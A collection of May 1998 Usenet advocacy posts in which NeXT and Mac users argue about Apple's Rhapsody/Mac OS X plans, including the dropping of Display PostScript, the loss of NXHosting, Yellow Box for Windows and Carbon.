> <malcolm@plsys.co.uk> wrote:
>
> :Why give Micro$oft free advertising?
> :Apple should market its own products. When Win98/NT5 ships, then say
> :something about it.
>
> There seems to be a loss of the distinction between a minor upgrade to an
> existing operating system that does little other than roll a few service
> packs into a general release and is ready to ship this week and a major
> upgrade to an operating system that shares little code with the former and
> is not supposed to ship for a year or so. I would assume that YB for
> windows hosted on W98 has a few trivial changes that would need to be made
> in order achieve the same level of functionallity as already exists on 95.
I would hope so too.And Microsoft has little reason to work to break YB on
98. To do such now would be obvious at this part of the development cycle.
> I would not be so stupid as to make any assumptions about NT5.
And Microsoft has a history of working to break other people's software.
"DOS doesn't ship till Lotus 123 doesn't run" is one.
Netscape to stop working when new Microsoft code is installed is another.
I trust Microsoft less than Apple WRT YellowBox failing under NT 5.x.
And I don't trust Apple...I can belive if NT5.x is broken, Apple will say
"Want a working version, come to PPC."
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 12:56:34 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5sombmq0t.fsf@ai.mit.edu>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com> <rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jgsb2$934$1@crib.bevc.blacksburg.va.us>
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) writes:
> If Mike Paquette is reading this, I'd like to hear some reassurment that
> all of this is a Good Thing. It doesn't sound worth it to me.
It worries me as well. Losing NSHost is, to me, a *really* *bad*
thing, and in addition I worry about the ability of the system to
easily support applications like Create! without causing massive
porting issues. Sigh. Maybe I'm just a PostScript weenie, but I
fear that this is a major step in the wrong direction.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
Message-ID: <355C86CA.8DB4B6A9@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu>
<macman-1105982047570001@tr33-d21.msen.net>
<3558705D.978C32E@spamtoNull.com> <6ja705$k4$4@news.idiom.com>
<3559EBA4.B8A2DB1A@spamtoNull.com> <355a8bc2.0@news.camtech.net.au>
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Date: Fri, 15 May 1998 18:14:13 GMT
NNTP-Posting-Date: Fri, 15 May 1998 14:14:13 EDT
timothyp@tne.net.au wrote:
>
> So? If it looks like a Mac (only better), quacks like a Mac (only faster and
> without having fits and spurts), and doesn't drop duck droppings (like the Mac
> does now), I could care less if Amiga had snuck up and been ported underneath.
> In addition, if I get a development environment that is the best bar none, I
> just got a big bonus.
>
Great. I'll be waiting for all of that to happen...:)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 14:14:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ji0m0$at4$1@crib.bevc.blacksburg.va.us>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
In article <6jhvgs$6sf$1@news.xmission.com>, don@misckit.com wrote:
> With the themes/appearance manager stuff, I get the impression that there
> will be lots of room for customization of the look.
Has Apple annouced that the themes and appearance stuff will apply to
Yellow apps and have a Yellow API? (Seems plausible though, since
otherwise if you changed themes only some of your apps would change
their appearances.)
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: Fri, 15 May 1998 08:25:44 -0700
Organization: Trilithon Research and Trading
Message-ID: <355C5E78.524EC62@trilithon.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com> <rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jgsb2$934$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
* But won't this degrade refresh performance? The nice
* thing about having buffering done in the window server
* was that it could redraw things itself.
Here, let me read the release for you:
The new window server supports the same three buffering
schemes that DPS supports:
non-retained
Mac OS style windows. There is no off-screen buffering.
retained
Visible drawing is unbuffered,. . . .
buffered
In a buffered window, all drawing is done in an off-screen
buffer and . . . .
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
Message-ID: <355C8807.5BD0B41D@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110>
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Date: Fri, 15 May 1998 18:19:31 GMT
NNTP-Posting-Date: Fri, 15 May 1998 14:19:31 EDT
Phil Brewster wrote:
>
> According to the Current Plan (tm), it will include BSD (see references
> below), but not as a default user environment. One of the slides from the
> 'Core OS Architecture' session at WWDC yesterday indicated that BSD UNIX
> will be 'well-hidden', but nonetheless available as an 'optional
> environment for power users and developers', on MacOS X.
>
> BSD is listed as one of the application environments, along with Blue Box,
> Carbon, and Yellow Box, plus Java. The non-YB/BSD environments will be
> supported through a POSIX layer over Mach 3.0, it seems, but I don't know
> much about how this stuff works so I'll just let people look at the
> diagrams and figure it out for themselves.
>
> -- I'm sure others will be able to explain it better.
>
> :-)
I'd never begrudge anyone the right to study and hash over diagrams and
flow charts to their heart's content. But as for me, until I get the
solid code in my hands, it seems like an enormous waste of time.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 16:20:47 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981620470001@dante.eng.uci.edu>
References: <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181>
In article <B180C072-D5287@206.165.43.181>, "Lawson English"
<english@primenet.com> wrote:
>How? YB won't run on MacOS 8.x, only MacOS X.
Correct.
>X is NOT a consumer-oriented OS, and unless you can sell to millions of
>customers, you can't get the market-penetration to make Yellow a standard
>on MacOS.
X is a consumer-oriented OS because Apple will make it one, plain and
simple. You will have millions of customers as a result. In the same way
that Win98 will have millions of customers even if not a single one
decides to upgrade, MacOS X will as well.
>Remember: Carbon will work on the consumer-oriented MacOS but YB won't. How
>many sales will there be of MacOS 8.5 compared to how many sales of
>Rhaposdy?
Lots. Carbon is a middle step, not the end of the line. Next year Apple
will announce the death of MacOS 8 and the problem will be solved. Watch
for it.
>YB is, if not dead, seriously injured.
Hardly. Carbon allows Apple to drop MacOS dead. Carbon is the instrument
which will guarantee YB seats.
-Bob Cassidy
Message-ID: <355C8A93.F71D9C6D@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <ericb-1405981232000001@132.236.171.104>
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Date: Fri, 15 May 1998 18:30:23 GMT
NNTP-Posting-Date: Fri, 15 May 1998 14:30:23 EDT
Eric Bennett wrote:
>
> I was certainly hoping that Apple would say something like this:
>
> "YB is our set of APIs for the future. Take as long as you need to feel
> comfortable porting to it, because our new modern OS [whatever you want to
> call it] will have an up-to-date Blue Box to emulate your older software.
> When you've ported to YB, your apps will have better performance and they
> will run our PPC and Intel versions of the OS, and will also run in YB for
> Windows. This is a significant advantage of YB--don't throw it away. To
> show you how powerful it is, we're rewriting AppleWorks (formerly
> ClarisWorks) in YB as a demonstration. We should have done that with
> OpenDoc, but we screwed up. This time we'll show you what can be done
> with this powerful tool."
>
> Instead we have:
>
> "Keep writing your apps to MacOS APIs. We know new APIs are so hard to
> learn that developers will ignore them no matter what features they
> offer. To show that we really understand this philosophy, we're not going
> to use a decent imaging API like DPS or GX in our new OS. We're using
> sucky 'ol QuickDraw. We'll ship a version of Rhapsody x86 and YB for
> Windows and see how many people we can sucker into using it, but as you've
> seen we refuse to commit to either for the long term, and observant people
> can probably figure out what that means. And just to prove how crazy we
> are, we're not going to support that spiffy, expensive 9600/350 you just
> bought at the beginning of this year."
>
At last, some strong sanity pervades these spaces....:) Like a breath of
fresh air....:)
--I could go on...."A light in the darkness"...."a shining city on a
hill"...."The Summit of Reason...", etc.
But I'll just settle for "Wisdom is justified by Her children"...:)
Thanks for saying it so well!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 15 May 1998 11:52:49 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhoch$a7i$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <3559D08E.CC749854@milestonerdl.com> <6jfual$1cc$32@ironhorse.plsys.co.uk> <355C4B7B.33644A11@milestonerdl.com>
In article <355C4B7B.33644A11@milestonerdl.com>, mark@milestonerdl.com wrote:
> mmalcolm crawford wrote:
> > In <3559D08E.CC749854@milestonerdl.com> M Rassbach wrote:
> > > Or, do you TRUST Apple?
> > OK, since you're being such a pain, I guess it's time to start betting again.
> I'm being a pain?
> What? Truth hurts?
<snicker> You're funny.
> Brett talked about support for
> Rhapsody in the future on multiple architectures, but again, he too was very
> vague on this subject and did not specifically mention
> Intel. We believe Steve briefed these keynote speakers ahead of time, and
> warned them to stay clear of the Intel situation since they
> aren't quite secure in this area.
> Brett Halle, Manager of the Core OS group
>
> Seems to me the long-term plan isn't as clear as you state.
Seems to me that only applies to RHAPSODY/Intel, not YB/Windows.
> > I'm willing to lay down $100 that within a year of Win98 shipping Apple has
> > YellowBox running on it.
> > Put up or shut up.
> I have a BETTER idea....when you can produce a formal statement by Apple
> that NT 5.x/98 is part of their support plan, then I won't be able to comment
> on this, now will I?
First, I'd like to reiterate my point that Apple spending all this
effort on YB/Windows only to drop it or stop keeping it up to date is
too ludicrous even for Apple, given their situation and their already-
proven willingness to make unpopular decisions that save them money and
developer time. And the point that "bait-and-switch" is completely
ridiculous, because people who choose YB/Windows are _not_ going to
choose MacOS/PPC if YB/Windows is taken away -- they are the ones who
use Windows because they have to. And the point that Apple's failure to
issue a press release on a given matter usually implies _nothing_,
given the past character of their PR efforts.
But anyway.. I've been carefully avoiding this in my responses to you in
the hopes that you would be dumb enough to take us up on that bet, but..
"One thing that I do want to note is that it was mentioned on several
occasions that Yellow Box for Windows is a long-term commitment, and
that it will run on Windows 98 and NT 5.0 (if it ever appears). I think
it was mentioned that DR2 runs on the current Windows 98 beta."
-- Scott Anguish, WWDC attendee, maintainer of official Stepwise coverage
(http://www.stepwise.com/SpecialCoverage/WWDC98/)
(Note the "if it ever appears" refers to NT 5.0, not Yellow Box for
Windows.)
Now since you haven't put up.. shut up.
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Fri, 15 May 1998 10:56:32 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1505981056320001@130.130.117.53>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <19980515021824933964@sdn-ts-007txhousp10.dialsprint.net> <355BEF55.526C6527@unet.univie.ac.at>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <355BEF55.526C6527@unet.univie.ac.at>, Christian Benesch
<a9226931@unet.univie.ac.at> wrote:
:John Bauer wrote:
:> John Kheit wrote:
:> > But who is going to make all those cool freebee apps, or the cheapo 20buck
:> > apps. Or even your average mainstream app.x
:>
:> Couldn't a shareware author just assume the runtime is already installed
:> and dispense with the runtime and fee altogether? Or am I missing
:> something (likely, since no one else has suggested what strikes me as
:> obvious)?
:
: Well,actually that's exactly what I meant with marketing it as a plug-in and
:using a centralized licensing scheme.(See up-thread)
I think it would probably be better to just go with the send in the coupon
for a rebate. As much as I detest them, rebates work well for companies.
They are redeemed less than 50% of the time but nearly everyone will
subtract the rebate from the cost of intial purchase when they make the
purchase decision. It could provide additional revenue for apple and the
consumer will not be upset with the company. It should also be fairly easy
to implement it in *addition* to other techniques such as licensing
strings similar to the way Quicktime Pro is distributed.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
Message-ID: <355C8C1E.166CC969@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <andyba-ya02408000R1405981039530001@news>
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Date: Fri, 15 May 1998 18:36:57 GMT
NNTP-Posting-Date: Fri, 15 May 1998 14:36:57 EDT
Andy Bates wrote:
>
> Uh, because the OS is past its prime, not the NAME! The NAME is familiar;
> the CORE is old. Putting an old name on a new core solves both problems.
>
The "name" is PR. The *code* is what interests me.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 17:50:24 GMT
Organization: Cygnus Solutions
Message-ID: <6jhv90$n53$2@cronkite.cygnus.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com>
<rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>
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Cc: akira@home.com
In <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> akira@home.com wrote:
> It's official, if you can consider anything said by anyone other than the
> almighty Jobs as 'official', Display Postscript is dead. QuickDraw is the
> replacement.
>
> Well, just to be more clear on the strategy, DPS exhibits a number of
> significant problems, not the least of which is the non-thread safe nature
> of the window server. In addition, the client server nature of DPS imposes
> some significant drawing restrictions as any of you know who have had to do
> lots of PS drawing.
>
> Of course, that same client-server architecture gave us things like NXHost
> which will disappear.
>
> So the new model is a lightweight window server that basically deals with
> the cursor and moving windows around, but not actual drawing. Instead, all
> drawing will be done by QuickDraw commands, which basically go straight to
> the screen. The buffering system that DPS uses is still there, the
> coordinate system, floating point nature, and each PS..() call will have a
> corresponding version in QuickDraw. And cutting out the client-server
> nature of DPS will enable multithreaded drawing.
>
> So some good, and some bad, especially the loss of NXHost, but from what
> they are promising, it should be a much faster drawing system. We shall
> see.
>
> All of this is due in MacOS X. Rhapsody 1.0 will still be DPS.
>
> -d
>
>
While I wont talk about the death of DPS (I think it's the wrong direction to
take.. dropping _ADOBE_'s DPS maybe, but not DPS in general), I want to
address the notion that killing DPS _MUST_ kill NXHost.
Specifically.. WHAT THE H*LL ARE THEY THINKING!? C'mon, we know the
engineers at Apple are smarter than that.. there are many ways to skin a cat,
boys. Just because you kill DPS does NOT mean you have to kill NXHosting.
Reimpliment? yes. Kill? no.
Stop being silly and MAKE THE CHANGES.
This is absolutely the lamest reason I can think of for killing a feature.
Defering it for MacOS X.01? sure.. but say it now: "the change in display
models will force us to delay the reimpimentation of remote display until an
update/bug-fix immediately following the CR1 of MacOSX".
*Sigh*
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 18:15:14 GMT
Organization: Cygnus Solutions
Message-ID: <6ji0ni$n53$3@cronkite.cygnus.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com>
<rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>
<6jgsb2$934$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6jgsb2$934$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>, akira@home.com
wrote:
>
> > Well, just to be more clear on the strategy, DPS exhibits a number of
> > significant problems, not the least of which is the non-thread safe
nature
> > of the window server. In addition, the client server nature of DPS
imposes
> > some significant drawing restrictions as any of you know who have had to
do
> > lots of PS drawing.
>
> Like what?
>
> > So the new model is a lightweight window server that basically deals with
> > the cursor and moving windows around, but not actual drawing. Instead,
all
> > drawing will be done by QuickDraw commands, which basically go straight
to
> > the screen. The buffering system that DPS uses is still there,
>
> But won't this degrade refresh performance? The nice thing about
> having buffering done in the window server was that it could redraw
> things itself. If the refresh drawing is done by the app, then if you
> do something like drag a window across the screen, you're constantly
> at a minimum doing a context switch to _each_ app that gets occluded
> or exposed, as well as paging in some of each app. I'm told that this
> is what's largely responsible for the bad "window tearing" you get when
> live-dragging a window around the screen on Windows NT; OPENSTEP doesn't
> suffer from that problem.
Depends on what they mean by "the app does the drawing". I can think of lots
of ways to have an App draw, but the workspace do the refresh, in a way that
doesn't require the workspace to ask the App to redraw. In fact, I can think
of a light weight windowing design mechanism that would do this without
sacrificing networking.
1) application draw routines write to a buffer (one buffer per window/pane).
2) the libraries either transfer this buffer to the window manager via shared
memory (local draws) or submit changes via IP (network draws) (you could do
both via IP, but I don't think local ip traffic is as fast as shared memory
:-} ). (basically, the library both on the client side and the server side
abstract where they get the buffer from, either it's a shared buffer via
shared memory, or a synced buffer via IP).
3) the window manager takes this buffer and uses it as the full window image
of the window.. and constructs a mask for each window based on how visible
the window is (ie. each time a window moves on top of another window, you
zero out that part of the back window's display mask). Any time it needs to
draw the window, it uses the mask to copy those parts of the buffer onto the
screen. Any time the buffer changes (the libraries send some sort of syncing
signal to the window manager), the window manager updates the part of the
screen in use by that window/buffer.
The window manager can use 1 thread per buffer if it wants to. Plus, since
it doesn't know if it gets its copy of the buffer via shm or ip, it doesn't
care if it's a locally running app or a remote one. The App can treat its
window as a full (virtual) frame buffer, and if its running locally it may be
possible to set it up so that the shared memory region is actually mapped
into the real frame buffer (depending on how the graphics stuff is handled).
Then the Application can use DPS, Quickdraw, X, or whatever it wants to for
drawing into its frame. The window manager doesn't actually need to know or
care about that issue.
You can still do live dragging of windows, esp if you're multi-threaded,
because one thread modifies the content of the pane as changes come in, and
the other thread just moves the pane around no matter whether the contents
are changing or not.
(I hope I'm describing myself clearly.. and, I haven't actually looked at
how DPS and/or X actually impliment similar mechanisms, so I may actually be
describing what some of them already do.. but my point is that there's no
reason to assume that refreshing the screen requires teh application to
redraw itself. In my scheme refreshing just means the window manager
re-pastes the various buffers to the screen.. and it allows you to use
whatever client side drawing mechanism you want, and you retain network
displaying.. further, it directly lends itself to multi-threading)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
Message-ID: <355C8BDC.3D7DFFE3@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <andyba-ya02408000R1405981037340001@news>
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Date: Fri, 15 May 1998 18:35:51 GMT
NNTP-Posting-Date: Fri, 15 May 1998 14:35:51 EDT
Andy Bates wrote:
>
> Apple promised Harmony, 8.1, Rhapsody, and the Blue Box, and has delivered
> on all of those. No problems there.
>
>
> Actually, 16 months until the final version of Mac OS X, 8 months until
> betas of Mac OS X, and three months until Carbon APIs are available. So
> again, no problem.
>
> Andy Bates.
Andy, it comes as no surprise to me that you see *no problem* with Apple
at all...:)
Date: Fri, 15 May 1998 12:17:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1505981217440001@wil115.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <slrn6lmg0e.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6lmg0e.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> :
> :So perhaps this is supposed to make me happy. Why in the heck
> :would I want to write for Carbon when I can write for YB.
>
> With intellized Carbon, why in the heck would Microsoft want to have two
> teams writing Office instead of one?
I don't know. But since Carbon will never appear on Intel, it's moot.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Fri, 15 May 1998 09:12:25 -0700
Organization: Trilithon Research and Trading
Message-ID: <355C6969.6907242B@trilithon.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
* This is bad. :( What good is having the pretense
* of a network-aware GUI-based OS without being able
* to run apps remotely??
Nathan, the lack of NXHosting may be "bad" from a specialised
viewpoint of some developers and some specialised applications
such as Mathematica et al. But I don't believe it's "bad"
in the broader picture of the PC consumer market. Ninety nine
percent of Mac and PC users wouldn't knonw remote hosting if
it bit them on the leg, wouldn't understand it if you explained
it to them, and wouldn't know what to do with it even then.
From the viewpoint of hardware and software sales, NXHosting
won't have any effect. Bit of a drag for those who *really*
need the feature. I'm sure that somebody will come up with
some clever way to obtain the effect. As for me, I'm not
concerned that the lack of NXHosting will drive Apple out
of business.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: "FJ van Wingerde" <fj@medg.lcs.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 98 14:08:56 +0000
Organization: Harvard University University Information Systems
Message-ID: <B181FD02-12DA385@134.174.31.187>
References: <355C6969.6907242B@trilithon.com>
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nntp://news.harvard.edu/comp.sys.next.misc,
nntp://news.harvard.edu/comp.sys.next.software
On Fri, May 15, 1998 4:12 PM, Henry McGilton <mailto:henry@trilithon.com>
wrote:
>Nathan, the lack of NXHosting may be "bad" from a specialised
>viewpoint of some developers and some specialised applications
>such as Mathematica et al. But I don't believe it's "bad"
>in the broader picture of the PC consumer market. Ninety nine
>percent of Mac and PC users wouldn't knonw remote hosting if
>it bit them on the leg, wouldn't understand it if you explained
>it to them, and wouldn't know what to do with it even then.
I don't think that the ignorance of the past is a compelling
justification to cripple the future.
And although I have no hard data, I could imagine that for
certain large scale accounts, accounts that are managed by
a technically savvy committee inside a business, accounts
that would benefit inmensly from a robust networked OS,
NXHosting would make a lot of sense.
As a technically savvy user, I do feel this is a
loss, even knowing the security probs that NXHosting has.
Anyone who has enjoyed the mix'n'match'n'run capabilities
of X11, where big binaries could be run on big machines
while outputting to the desktop, even from another
continent, would be dismayed at seeing NXHosting go.
FJ!!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 14:47:28 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ji2k0$av4$1@crib.bevc.blacksburg.va.us>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jhv90$n53$2@cronkite.cygnus.com>
In article <6jhv90$n53$2@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
> In <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> akira@home.com wrote:
> > Of course, that same client-server architecture gave us things like NXHost
> > which will disappear.
> > So the new model is a lightweight window server that basically deals with
> > the cursor and moving windows around, but not actual drawing. Instead, all
> > drawing will be done by QuickDraw commands, which basically go straight to
> > the screen.
> Specifically.. WHAT THE H*LL ARE THEY THINKING!? C'mon, we know the
> engineers at Apple are smarter than that.. there are many ways to skin a cat,
> boys. Just because you kill DPS does NOT mean you have to kill NXHosting.
> Reimpliment? yes. Kill? no.
Well, if what Akira says is correct, then that would explain why NXHosting
is gone. Not because it was associated with DPS, but because all of the
drawing commands draw directly to the screen in their implementations,
instead of going over some communications channel to a display server
(whose stream can be easily redirected over a network).
However, this kind of seems at odds with what Scott reported, so I'm
confused. I can't think of any _other_ explanation for the removal of
NXHosting, though. (I'm also still not sure if refreshes-from-buffer
are done in the window server in a separate process, or by the app.)
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 10:32:33 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C6011.CF89EC75@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B7034.DB4FE5B8@milestonerdl.com> <6jg1ua$88j$1@crib.bevc.blacksburg.va.us> <355C2C23.2DA93D1@milestonerdl.com> <6jhn1p$a0p$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355C2C23.2DA93D1@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Nathan Urban wrote:
>
> > > It is _astonishing_ how you turn _every_ single statement _anyone_
> > > makes into a claim that Apple is not committed to cross-platform or
> > > cross-platform does not matter -- when they are in reality not saying
> > > anything of the sort, and usually not anything having to do with
> > > cross-platform at all.
> > > You truly are mentally deficient, and your stupidity is not worth my
> > > time.
> > Mentally deficient?
> You heard me.
>
> > You can't rebut the lack of public committment to NT 5.x/98,
>
> I can and did.
Where? Where is the URL to a document saying Apple has a committment to NT
5.x/98?
> > so you resort to name calling. How charming.
>
> It is certainly true that every time I say something, you turn around
> and say "therefore Apple isn't committed to cross-platform"
I'm asking about long term cross-platform support and you bring up:MacOS X
Rhapsody
You can not back up any kind of long-term cross platform support with a
statement about NT 5.x/98 nor have you rebutted THIS:
http://www.macnn.com/macnn/reality/archives/051198/news.shtml
(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too was
very vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of time, and
warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
> -- and this
> is usually when I'm not saying anything at all about cross-platform!
> That is indeed a sign of mental deficiency, or at least some sort of
> peculiar delusional state that leads you to believe that everything
> everyone says has something to do with Apple's cross-platform
> committment (and further, _your_ interpretation thereof).
> > Apple HAS brought the cross-platform into doubt.
>
> You're the only one doubting it. At least the Windows part. Others
> doubt long-term committment to Rhapsody/Intel, but not short-term or
> Windows committment.
And with good reason. AGAIN
http://www.macnn.com/macnn/reality/archives/051198/news.shtml
(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too was
very vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of time, and
warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
